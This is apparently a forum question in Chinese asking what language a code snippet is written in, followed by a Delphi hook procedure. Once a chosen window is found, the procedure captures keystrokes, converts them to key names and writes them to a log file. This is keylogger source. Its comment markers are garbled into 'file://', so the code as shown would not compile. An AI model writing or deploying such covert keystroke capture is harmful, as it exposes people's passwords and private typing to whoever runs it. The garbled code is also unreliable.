这是同一个文件里的方法也是c++吗
--------------------------------------------------------------------------------------------------------------
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then file://如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then file://如果获得按键名称
begin
Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
hookkey := '';
end;
end;
end;